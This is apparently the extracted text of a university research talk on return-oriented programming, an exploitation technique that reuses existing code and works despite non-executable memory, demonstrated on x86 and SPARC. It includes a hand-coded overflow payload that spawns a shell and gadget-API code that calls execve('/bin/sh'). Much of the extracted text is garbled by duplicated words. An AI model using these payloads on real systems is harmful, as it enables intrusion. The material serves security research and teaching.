Return-oriented Programming:

Exploitation without Code Injection

Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham
University of California, San Diego
Bad code versus bad behavior

“Bad”
Bad “Good”
Good
behavior behavior

Attacker Application
d
code d
code

Problem: this implication is

false!
The Return
Return-oriented
oriented programming thesis

any sufficiently large program codebase

arbitrary attacker computation and behavior,

without code injection

(in the absence of control-flow integrity)

Security systems endangered:
` W-xor-X aka DEP
` Linux, OpenBSD
Linux OpenBSD, Windows XP SP2
SP2, MacOS X
` Hardware support: AMD NX bit, Intel XD bit
` Trusted computing
p g
` Code signing: Xbox
` Binary hashing: Tripwire, etc.
` … and others
Return-into-libc and W^X
W xor X
W-xor-X
` Industry response to code injection exploits
` Marks all writeable locations in a process’
process address
space as nonexecutable
` Deployment:
p y Linux ((via PaX p
patches);
); OpenBSD;
p ;
Windows (since XP SP2); OS X (since 10.5); …
` Hardware support: Intel “XD” bit, AMD “NX” bit
(and many RISC processors)
Return into libc
Return-into-libc
` Divert control flow of exploited program into libc code
` system() printf(),
system(), printf() …
` No code injection required

` Perception of return-into-libc: limited, easy to defeat

` Attacker cannot execute arbitrary code
` Attacker relies on contents of libc — remove system()?

` We show: this perception is false.

The Return-oriented programming thesis:
return-into-libc
return into libc special case

attacker control of stack

arbitrary attacker computation and behavior

via return-into-libc techniques

(given any sufficiently large codebase to draw on)

Our return
return-into-libc
into libc generalization
` Gives Turing-complete exploit language
` exploits aren’t
aren t straight
straight-line
line limited
` Calls no functions at all
` can’t be defanged
g byy removingfunctions
g like system()
y ()
` On the x86, uses “found” insn sequences, not code
intentionally placed in libc
` difficult to defeat with compiler/assembler changes
Return-oriented
Return oriented programming
…
connect back to attacker again:
g …
while socket not eof movi(s), chdecri
read line cmpch, ‘|’ jnz again
fork, exec named progs jeq pipe …
…

stack: libc:

load decr
?
cmp jnz

? jeq
Related Work
` Return-into-libc: Solar Designer, 1997
` Exploitation without code injection
` Return-into-libc chaining with retpop: Nergal, 2001
` Function returns into another, with or without frame
pointer
` Register springs, dark spyrit, 1999
` Find unintended “jmp %reg” instructions in program text
` Borrowed code chunks, Krahmer 2005
` Look for short code sequences ending in “ret”
ret
` Chain together using “ret”
Mounting attack
` Need control of memory around %esp
` Rewrite stack:
` Buffer overflow on stack
` Format stringg vuln to rewrite stack contents
` Move stack:
` Overwrite saved frame pointer on stack;
on leave/ret, move %esp to area under attacker control
` Overflow function pointer to a register spring for %esp:
` set or modify %esp from an attacker
attacker-controlled
controlled register
` then return
 Principles of
return-oriented programming
p g g
Ordinary programming: the machine level

` Instruction pointer (%eip) determines which

instruction to fetch & execute
` Once
O ce processor
p ocesso has as e
executed
ecu ed the
e instruction,
s uc o , it
automatically increments %eip to next instruction
` Control flow by changing value of %eip
Return-oriented programming:
the machine level

` Stack pointer (%esp) determines which instruction

sequence to fetch & execute
` Processor doesn’t automatically increment %esp; — but
the “ret” at end of each instruction sequence does
No ops
No-ops

` No-op instruction
N i t ti does d nothing
thi b butt advance
d %
%eip
i
` Return-oriented equivalent:
` point to return instruction
` advances %esp
` Useful
Use u in nop
op s
sled
ed
Immediate constants

` Instructions can encode constants

` Return-oriented equivalent:
` Store on the stack;
` Pop into register to use
Control flow

` Ordinary programming:
` (Conditionally) set %eip to new value
` Return-oriented equivalent:
` (C di i
(Conditionally)
ll ) set %
%esp to new value
l
Gadgets: multiple instruction sequences

` Sometimes more than one instruction sequence

needed to encode logical unit
` Example: load from memory into register:
` Load address of source word into %eax
` Load memory at (%eax) into %ebx
A Gadget Menagerie
Gadget design
` Testbed: libc-2.3.5.so, Fedora Core 4
` Gadgets built from found code sequences:
` load-store
` arithmetic &logic
` control
t l flow
fl
` system calls
` Challenges:
` Code sequences are challenging to use:
` short; perform a small unit of work
` no standard function prologue/epilogue
` haphazard interface, not an ABI
` Some convenient instructions not always available (e.g.,
lahf)
“The
The Gadget”:
Gadget : July 1945
Immediate rotate of memory word
Conditional jumps on the x86
` Many instructions set %eflags
` But the conditional jump insns perturb %eip
%eip, not
%esp
` Our strategy:
gy
` Move flags to general-purpose register
` Compute either delta (if flag is 1) or 0 (if flag is 0)
` Perturb %esp by the computed amount
Conditional jump, phase 1: load CF

(As a side effect, neg sets

CF if its argument is
nonzero)
Conditional jump, phase 2:
store CF to memory
Computed jump, phase 3:
compute delta
delta-or-zero
or zero

Bitwise and with delta

(in %esi)

2s-complement
negation:
0 becomes 0…0;;
1 becomes 1…1
Computed jump, phase 4:
perturb %esp using computed delta
Finding instruction sequences

(on the x86)

Finding instruction sequences
` Any instruction sequence ending in “ret” is useful —
could be part of a gadget

` Algorithmic
g problem:
p recover all sequences
q of valid
instructions from libc that end in a “ret” insn
` Idea: at each ret (c3 byte) look back:
` are preceding i bytes a valid length-iinsn?
` recursefrom found instructions
` C ll t iinstruction
Collect t ti sequences iin a trie
ti
Unintended instructions — ecb_crypt()
ecb crypt()
c7
45
d4
movl $0x00000001, - 01
44(%ebp) 00
00
00
add %dh, %bh
f7
c7
07
test $0x00000007, 00
%edi movl $0x0F000000,
00 (%edi)
00
0f
95 } xchg %ebp, %eax
setnzb -61(%ebp) 45 } inc%ebp
c3 } ret
Is return-oriented programming
x86-specific?
p
(Spoiler: Answer is no.)
Assumptions in original attack
` Register-memory machine
` Gives p
plentiful opportunities
pp for accessing
g memory
y
` Register-starved
` Multiple sequences likely to operate on same register
` I
Instructions
i are variable-length,
i bl l h unaligned
li d
` More instruction sequences exist in libc
` Instructions types not issued by compiler may be
available
` Unstructured call/ret ABI
` A sequence ending
Any di iin a return
t iis useful
f l

` True on the x86 … not on RISC architectures

SPARC: the un
un-x86
x86
` Load-store RISC machine
` Only a few special instructions access memory
` Register-rich
` 128 registers;
g 32 available to any
yggiven function
` All instructions 32 bits long; alignment enforced
` No unintended instructions
` Highly structured calling convention
` Register windows
` St k frames
Stack f have
h specific
ifi fformatt
Return-oriented
Return oriented programming on SPARC
` Use Solaris 10 libc: 1.3 MB
` New techniques:
` Use instruction sequences that are suffixes of real
functions
` Dataflow within a gadget:
` Use structured dataflow to dovetail with calling convention
` Dataflow between gadgets:
` Each gadget is memory-memory
` Turing-complete computation!

` Conjecture: Return-oriented programming likely

possible on every architecture.
SPARC Architecture

` Registers:
` %i[0-7], %l[0-7], %o[0-7]
` g
Register banks and the
“sliding register window”
` “call; save”;
“ret;
ret; restore
restore”
SPARC Architecture

` Stack
` Frame Ptr: %i6/%fp
` Stack Ptr: %o6/%spp
` Return Addr: %i7
` Register save area
Dataflow strategy
` Via register
` On restore,
restore %i registers become %o registers
` First sequence puts output in %i register
` Second sequence reads from corresponding %o register
` Write into stack frame
` On restore, spilled %i, %l registers read from stack
` Earlier sequence writes to spill space for later sequence
Gadget operations implemented
` Memory ` Math ` Control Flow
` v1 = &v2 ` v1++ ` BA: jjumpp T1
` v1 = *v2 ` v1-- ` BE: if (v1 == v2):
` *v1 = v2 ` v1 = -v2 ` jump T1,
` A i
Assignment
t ` v1 = v2 + v3 ` else T2

` v1 = Value ` v1 = v2 - v3 ` BLE: if (v1 <=

v2):
` v1 = v2 ` Logic
g ` jump T1
T1,
` Function Calls ` v1 = v2 & v3 ` else T2
` call Function ` v1 = v2 | v3 ` BGE: if (v1 >=
` S t
System Calls
C ll ` v1 = ~v2 v2):
2)
` call syscall ` jump T1,
with ` else T2
arguments
Gadget: Addition
` v1 = v2 + v3
Gadget: Branch Equal

if (v1 == v2):
jump T1
else:
jump T2
Automation
 Option 1: Write your own
` Hand-coded gadget
layout
linux-x86% ./target `perl
-e ‘print “A”x68, pack("c*”,
0x3e,0x78,0x03,0x03,0x07,
0x7f,0x02,0x03,0x0b,0x0b,
f b b
0x0b,0x0b,0x18,0xff,0xff,
0x4f,0x30,0x7f,0x02,0x03,
0x4f,0x37,0x05,0x03,0xbd,
0xad,0x06,0x03,0x34,0xff,
0xff,0x4f,0x07,0x7f,0x02,
0x03,0x2c,0xff,0xff,0x4f,
0x30,0xff,0xff,0x4f,0x55,
0xd7,0x08,0x03,0x34,0xff,
0xff,0x4f,0xad,0xfb,0xca,
0xde,0x2f,0x62,0x69,0x6e,
, , , )
0x2f,0x73,0x68,0x0)'`
sh-3.1$
Option 2: Gadget API
/* Gadget variable declarations */
g_var_t *num = g_create_var(&prog, "num");
g var t *arg0a
* 0 = g create
t var(&prog,
(& "
"arg0a");
0 ")
g_var_t *arg0b = g_create_var(&prog, "arg0b");
g_var_t *arg0Ptr = g_create_var(&prog, "arg0Ptr");
g var t *arg1Ptr
arg1Ptr = g create var(&prog,
var(&prog "arg1Ptr");
arg1Ptr );
g_var_t *argvPtr = g_create_var(&prog, "argvPtr");
/* Gadget variable assignments (SYS_execve = 59)*/
g assign
g const(&prog,
p g num, 59);
g_assign_const(&prog, arg0a, strToBytes("/bin"));
g_assign_const(&prog, arg0b, strToBytes("/sh"));
g_assign_addr( &prog, arg0Ptr, arg0a);
g_assign_const(&prog, arg1Ptr, 0x0); /* Null */
g_assign_addr( &prog, argvPtr, arg0Ptr);
/* Trap to execve */
g syscall(&prog, num, arg0Ptr, argvPtr, arg1Ptr,NULL, NULL, NULL);
Gadget API compiler
` Describe program to attack:
char *vulnApp= "./demo-vuln"; /* Exec name of vulnerable app. */
intvulnOffset 336;
intvulnOffset= /* Offset to %i7 in overflowed frame.
frame */
intnumVars = 50; /* Estimate: Number of gadget variables */
intnumSeqs = 100; /* Estimate: Number of inst. seq's (packed) */
/* Create and Initialize Program *************************************** */
init(&prog, (uint32_t) argv[0], vulnApp, vulnOffset, numVars, numSeqs);

` Compiler creates program to exploit vuln app

` Overflow in argv[1]; return-oriented payload in env
` Compiler avoids NUL bytes

(7 gadgets,
gadgets 20 sequences
sparc@sparc #./exploit
336 byte overflow $
1280 byte payload)
Option 3: Return
Return-oriented
oriented compiler
` Gives high-level interface to gadget API
` Same shellcode as before:

vararg0 = "/bin/sh";
/bin/sh ;
vararg0Ptr = &arg0;
vararg1Ptr = 0;

trap(59,
p( , &arg0,
g , &(arg0Ptr),
( g ), NULL);
);
Return-oriented
Return oriented selection sort — I
vari, j, tmp, len = 10;
var* min, p1, p2, a; // Pointers

srandom(time(0)); // Seed random()

a = malloc(40); // a[10]
p1 = a;
printf(&("Unsorted Array:\n"));
f
for (i = 0;
0 i<len;
i l ++i)
i) {
// Initialize to small random values
*p1 = random() & 511;
printf(&("%d, "), *p1);
p1 = p1 + 4; // p1++
}
Return-oriented
Return oriented selection sort — II
p1 = a;
; i< (len - 1);
for (i = 0; ; ++i) {
min = p1;
p2 = p1 + 4;
for (j = (i + 1); j<len; ++j) {
if (*p2 < *min) { min = p2; }
p2 = p2 + 4; // p2++
}
// Swap p1 <-> min
tmp = *p1; *p1 = *min; *min = tmp;
p1 = p1 + 4; // p1++
}
Return-oriented
Return oriented selection sort — III
p1 = a;
printf(&("\n\nSorted Array:\n"));
for (i = 0; i<len; ++i) {
printf(&("%d
printf(&( %d, ")
), *p1);
p1);
p1 = p1 + 4; // p1++
}
printf(&("\n"));
( );
free(a); // Free Memory
y
Selection sort — compiler output
` 24 KB payload: 152 gadgets, 381 instruction
sequences
` No code injection!
sparc@sparc# /SelectionSort
sparc@sparc#./SelectionSort

Unsorted Array:
486 491
486, 491, 37,
37 5,
5 166,
166 330,
330 103,
103 138,
138 233,
233 169,
169

Sorted Array:
5 37
5, 37, 103,
103 138,
138 166,
166 169,
169 233,
233 330,
330 486,
486 491,
491
Wrapping up
Conclusions
` Code injection is not necessary for arbitrary
exploitation
` Defenses that distinguish “good code” from “bad
code” are useless
` Return-oriented programming likely possible on
every architecture, not just x86
` Compilers make sophisticated return-oriented
exploits easy to write
Questions?

H. Shacham
H Shacham. “The
The geometry of innocent flesh on the
bone: Return-into-libc without function calls (on the
x86).”
) In Proceedings g of CCS 2007,, Oct. 2007.
E. Buchanan, R. Roemer, S. Savage, and H.
Shacham. “When Good Instructions Go Bad:
Generalizing Return-Oriented Programming to
RISC.” In submission, 2008.

http://cs.ucsd.edu/~hovav/